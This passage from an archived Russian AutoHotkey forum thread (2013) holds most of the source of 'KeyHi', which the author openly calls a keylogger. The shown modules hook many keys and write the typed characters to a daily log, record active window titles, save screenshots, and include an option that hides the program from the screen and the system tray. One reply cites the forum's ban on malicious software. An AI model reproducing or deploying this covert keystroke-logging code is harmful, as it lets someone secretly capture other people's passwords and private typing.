UInt, obm)<br />&nbsp; &nbsp; DllCall(&quot;DeleteObject&quot;, UInt, hbm)<br />&nbsp; &nbsp; DllCall(&quot;DeleteDC&quot;, UInt, hhdc)<br />&nbsp; &nbsp; DllCall(&quot;DeleteDC&quot;, UInt, chdc)<br />&nbsp; &nbsp; return pBitmap<br />&nbsp; &nbsp; }</p><p>SaveBitmapToFile(pBitmap, sOutput, Quality=75)<br />{<br />&nbsp; &nbsp;SplitPath, sOutput,,, Extension<br />&nbsp; &nbsp;if Extension not in BMP,DIB,RLE,JPG,JPEG,JPE,JFIF,GIF,TIF,TIFF,PNG<br />&nbsp; &nbsp; &nbsp; return -1<br />&nbsp; &nbsp;Extension := &quot;.&quot; Extension<br />&nbsp; &nbsp;DllCall(&quot;gdiplus\GdipGetImageEncodersSize&quot;, &quot;uint*&quot;, nCount, &quot;uint*&quot;, nSize)<br />&nbsp; &nbsp;VarSetCapacity(ci, nSize)<br />&nbsp; &nbsp;DllCall(&quot;gdiplus\GdipGetImageEncoders&quot;, UInt, nCount, UInt, nSize, UInt, &amp;ci)<br />&nbsp; &nbsp;if !(nCount &amp;&amp; nSize)<br />&nbsp; &nbsp; &nbsp; return -2<br />&nbsp; &nbsp;Loop, %nCount%<br />&nbsp; &nbsp;{<br />&nbsp; &nbsp; &nbsp; Location := NumGet(ci, 76*(A_Index-1)+44)<br />&nbsp; &nbsp; &nbsp; if !A_IsUnicode<br />&nbsp; &nbsp; &nbsp; {<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;nSize := DllCall(&quot;WideCharToMultiByte&quot;, UInt, 0, UInt, 0<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; , UInt, Location, Int, -1, UInt, 0, Int,&nbsp; 0, UInt, 0, UInt, 0)<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;VarSetCapacity(sString, nSize)<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;DllCall(&quot;WideCharToMultiByte&quot;, UInt, 0, UInt, 0, UInt, Location<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; , Int, -1, Str, sString, Int, nSize, UInt, 0, UInt, 0)<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if !InStr(sString, &quot;*&quot; Extension)<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; continue<br />&nbsp; &nbsp; &nbsp; }<br />&nbsp; &nbsp; &nbsp; else<br />&nbsp; &nbsp; &nbsp; {<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;nSize := DllCall(&quot;WideCharToMultiByte&quot;, UInt, 0, UInt, 0<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; , UInt, Location, Int, -1, UInt, 0, Int,&nbsp; 0, UInt, 0, UInt, 0)<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;sString := &quot;&quot;<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Loop, %nSize%<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sString .= Chr(NumGet(Location+0, 2*(A_Index-1), &quot;char&quot;))<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if !InStr(sString, &quot;*&quot; Extension)<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; continue<br />&nbsp; &nbsp; &nbsp; }<br />&nbsp; &nbsp; &nbsp; pCodec := &amp;ci+76*(A_Index-1)<br />&nbsp; &nbsp; &nbsp; break<br />&nbsp; &nbsp;}<br />&nbsp; &nbsp;if !pCodec<br />&nbsp; &nbsp; &nbsp; return -3</p><p>&nbsp; &nbsp;if (Quality != 75)<br />&nbsp; &nbsp;{<br />&nbsp; &nbsp; &nbsp; Quality := (Quality &lt; 0) ? 0 : (Quality &gt; 100) ? 100 : Quality<br />&nbsp; &nbsp; &nbsp; if Extension in .JPG,.JPEG,.JPE,.JFIF<br />&nbsp; &nbsp; &nbsp; {<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;DllCall(&quot;gdiplus\GdipGetEncoderParameterListSize&quot;<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; , UInt, pBitmap, UInt, pCodec, &quot;uint*&quot;, nSize)<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;VarSetCapacity(EncoderParameters, nSize, 0)<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;DllCall(&quot;gdiplus\GdipGetEncoderParameterList&quot;, UInt, pBitmap<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; , UInt, pCodec, UInt, nSize, UInt, &amp;EncoderParameters)<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Loop, % NumGet(EncoderParameters)&nbsp; &nbsp; &nbsp; ;%<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (NumGet(EncoderParameters, (28*(A_Index-1))+20) = 1)<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&amp;&amp; (NumGet(EncoderParameters, (28*(A_Index-1))+24) = 6)<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;p := (28*(A_Index-1))+&amp;EncoderParameters<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;NumPut(Quality, NumGet(NumPut(4, NumPut(1, p+0)+20)))<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;break<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br />&nbsp; &nbsp; &nbsp; }<br />&nbsp; &nbsp;}<br />&nbsp; &nbsp;if !A_IsUnicode<br />&nbsp; &nbsp;{<br />&nbsp; &nbsp; &nbsp; nSize := DllCall(&quot;MultiByteToWideChar&quot;<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;, UInt, 0, UInt, 0, UInt, &amp;sOutput, Int, -1, UInt, 0, Int, 0)<br />&nbsp; &nbsp; &nbsp; VarSetCapacity(wOutput, nSize*2)<br />&nbsp; &nbsp; &nbsp; DllCall(&quot;MultiByteToWideChar&quot;<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;, UInt, 0, UInt, 0, UInt, &amp;sOutput, Int, -1, UInt, &amp;wOutput, Int, nSize)<br />&nbsp; &nbsp; &nbsp; VarSetCapacity(wOutput, -1)<br />&nbsp; &nbsp; &nbsp; if !VarSetCapacity(wOutput)<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;return -4<br />&nbsp; &nbsp; &nbsp; E := DllCall(&quot;gdiplus\GdipSaveImageToFile&quot;<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;, UInt, pBitmap, UInt, &amp;wOutput, UInt, pCodec, UInt, p ? p : 0)<br />&nbsp; &nbsp;}<br />&nbsp; &nbsp;else<br />&nbsp; &nbsp; &nbsp; E := DllCall(&quot;gdiplus\GdipSaveImageToFile&quot;<br />&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;, UInt, pBitmap, UInt, &amp;sOutput, UInt, pCodec, UInt, p ? p : 0)<br />&nbsp; &nbsp;return E ? -5 : 0<br />}</p></div></div><div class="fancy_spoiler_switcher"><div class="fancy_spoiler_switcher_header"><strong>+</strong>&nbsp;Keyboard.ahk</div><div class="fancy_spoiler"><p>*~SC001:: ; Esc<br />*~SC03B:: ; F1<br />*~SC03C:: ; F2<br />*~SC03D:: ; F3<br />*~SC03E:: ; F4<br />*~SC03F:: ; F5<br />*~SC040:: ; F6<br />*~SC041:: ; F7<br />*~SC042:: ; F8<br />*~SC043:: ; F9<br />*~SC044:: ; F10<br />*~SC057:: ; F11<br />*~SC058:: ; F12<br />*~SC00F:: ; Tab<br />*~SC02A:: ; Shift<br />*~SC01D:: ; Ctrl<br />*~SC15B:: ; Left Windows<br />*~SC038:: ; Alt<br />*~SC039:: ; Space<br />*~SC138:: ; Right Alt<br />*~SC15C:: ; Right Windows<br />*~SC15D:: ; Application<br />*~SC11D:: ; Right Ctrl<br />*~SC136:: ; RShift<br />*~SC01C:: ; Enter<br />*~SC00E:: ; Backspace<br />*~SC137:: ; Prnt ~SCrn&nbsp; <br />*~SC046:: ; ~SCroll Lock<br />*~SC045:: ; Pause<br />*~SC152:: ; Insert<br />*~SC147:: ; Home<br />*~SC149:: ; Page Up<br />*~SC153:: ; Delete<br />*~SC14F:: ; End<br />*~SC151:: ; Page Down<br />*~SC145:: ; Num Lock<br />*~SC11C:: ; Num Enter<br />*~SC053:: ; Num Del<br />*~SC148:: ; Up<br />*~SC14B:: ; Left<br />*~SC150:: ; Down<br />*~SC14D:: ; Right<br />Gosub WriteS<br />Return</p><p>WriteS: ; --------------------- Запись символов в файл<br />If On = 0 ; программа отключена<br />	Return<br />If Simvols = 0 ; запись символов отключена<br />	Return<br />; --------------------- Определение параметров	<br />Log := A_YYYY A_MM A_DD &quot;_log.txt&quot; ; имя лога<br />ПереносСтроки()<br />StringReplace, SC, A_ThisHotKey, *~ ; удалить &quot;*~&quot; из кода символа<br />K := RegExMatch(All, &quot;.*&quot; SC &quot;=(.*?)\s\|&quot;, Word)<br />FileAppend, %Word1%, %OutDirectoryLog%\%Log% ; запись символа в лог<br />Return<br />; --------------------- Чтение из файла символов (KeysCode.ini)<br />ReadFile(sm, Lang)<br />	{<br />	global All<br />	d := RegExMatch(%Lang%, &quot;.*SC&quot; sm &quot;=(.*?)\s\|&quot;, Word)<br />	If d = 0<br />		 d := RegExMatch(All, &quot;.*SC&quot; sm &quot;=(.*?)\s\|&quot;, Word)<br />	Return Word1<br />	}<br />*~SC03A:: ; CapsLock в системе<br />	CapsOn := GetKeyState(&quot;Capslock&quot;, &quot;P&quot;)<br />Return</p></div></div><div class="fancy_spoiler_switcher"><div class="fancy_spoiler_switcher_header"><strong>+</strong>&nbsp;MoveGUI.ahk</div><div class="fancy_spoiler"><p>WriteSizeIni(iniFile)<br />	{<br />	global Title<br />	WinGetPos, x, y, Width, Height, %Title%<br />	IniWrite, %x%, %iniFile%, WinPosition, x<br />	IniWrite, %y%, %iniFile%, WinPosition, y<br />	}</p><p>ReadSizeIni(iniFile)<br />	{<br />	global<br />	IniRead, x, %iniFile%, WinPosition, x, 1<br />	IniRead, y, %iniFile%, WinPosition, y, 1<br />	x := x &lt; 0 ? 1 : x<br />	y := y &lt; 0 ? 1 : y<br />	Position := x = 1 ? &quot;&quot; : &quot;x&quot;x &quot; y&quot;y<br />	Return Position<br />	}</p></div></div><div class="fancy_spoiler_switcher"><div class="fancy_spoiler_switcher_header"><strong>+</strong>&nbsp;Windows.ahk</div><div class="fancy_spoiler"><p>Windows:<br />WinGet, Active_Window_ID, ID, A ; получаем ID активного окна<br />WinGetTitle, TitleMy, ahk_id %Active_Window_ID%<br />WinGetClass, Class, ahk_id %Active_Window_ID%<br />n = 0 ; метка для определения пуст ли файл<br />Loop, read, %OutDirectoryLog%\%Log% <br />	{<br />	n := A_Index<br />	LastStr := A_LoopReadLine<br />	If A_LoopReadLine contains %A_Hour%:%A_Min%|%Class%|%TitleMy%<br />		Return<br />	}<br />If LastStr contains %Class%|%TitleMy%<br />	Return	<br />nn := n &gt; 0 ? &quot;`n&quot; : &quot;&quot; ; определить надо ли переносить строку<br />Log := A_YYYY A_MM A_DD &quot;_log.txt&quot; ; имя лога<br />FileAppend, %nn%(%A_Hour%:%A_Min%|%Class%|%TitleMy%), %OutDirectoryLog%\%Log%<br />Return</p></div></div><div class="fancy_spoiler_switcher"><div class="fancy_spoiler_switcher_header"><strong>+</strong>&nbsp;Help.ahk</div><div class="fancy_spoiler"><p>; -------------------------- Справка<br />О:<br />MsgBox, 262208, KeyHi, <br />(<br />Программа предназначена для записи клавиш и скриншотов.<br />© 2013 Zohann<br />)<br />Return<br />Справка:<br />MsgBox, 262208, Справка, <br />(<br />Записывать клавиши - выключатель записи клавиш<br />Записывать символы - выключатель записи символов в лог<br />Открыть лог - открыть лог записи<br />Сохранять скриншоты - выключатель записи скриншотов<br />Формат jpg, bmp, gif, png, tif - формат сохраняемого скриншота<br />Качество - качество скриншота<br />Период - период через который будет производиться запись скриншота<br />Откл. при бездействии более - выключатель записи скриншотов после указанного времени простоя<br />Открыть папку - открыть папку скриншотов<br />Записывать открываемые окна - включение записи заголовков нового окна<br />Отключить хранитель экрана - отключает хранитель экрана (посылает через определенный интервал нажатия клавиши Alt)<br />Выключить/включить - выключатель работы программы<br />Скрыть - скрывает программу с экрана и из трея. Для отображения программы, нажмите Ctrl+Shift+S<br />)<br />Return</p></div></div><p>Файлы должны быть в кодировке ANSI</p>]]></content>
			<author>
				<name><![CDATA[Zohann]]></name>
				<uri>http://forum.script-coding.com/profile.php?id=26234</uri>
			</author>
			<updated>2013-06-26T15:07:02Z</updated>
			<id>http://forum.script-coding.com/viewtopic.php?pid=73310#p73310</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[Re: AHK: KeyHi (Запись клавиш и скриншотов)]]></title>
			<link rel="alternate" href="http://forum.script-coding.com/viewtopic.php?pid=73306#p73306" />
			<content type="html"><![CDATA[<div class="quotebox"><cite>Правила пишет:</cite><blockquote><p>Запрещается обсуждение способов осуществления любых форм компьютерного вредительства</p></blockquote></div><p>Если этот скрипт позволяет украсть пароль, тогда нельзя выкладывать. Других препятствий не вижу.</p>]]></content>
			<author>
				<name><![CDATA[ypppu]]></name>
				<uri>http://forum.script-coding.com/profile.php?id=5974</uri>
			</author>
			<updated>2013-06-26T13:38:44Z</updated>
			<id>http://forum.script-coding.com/viewtopic.php?pid=73306#p73306</id>
		</entry>
		<entry>
			<title type="html"><![CDATA[AHK: KeyHi (Запись клавиш и скриншотов)]]></title>
			<link rel="alternate" href="http://forum.script-coding.com/viewtopic.php?pid=73301#p73301" />
			<content type="html"><![CDATA[<p>Набросал на досуге небольшой кейлоггер, используя код из разных тем, а также некоторые разработки ув. teadrinker.<br />Вот теперь думаю, стоит выкладывать или нет... Как думаете?<br /><span class="postimg"><img src="http://img10.imageshack.us/img10/4397/t7ac.jpg" alt="http://img10.imageshack.us/img10/4397/t7ac.jpg" /></span></p>]]></content>
			<author>
				<name><![CDATA[Zohann]]></name>
				<uri>http://forum.script-coding.com/profile.php?id=26234</uri>
			</author>
			<updated>2013-06-26T11:58:56Z</updated>
			<id>http://forum.script-coding.com/viewtopic.php?pid=73301#p73301</id>
		</entry>
</feed>
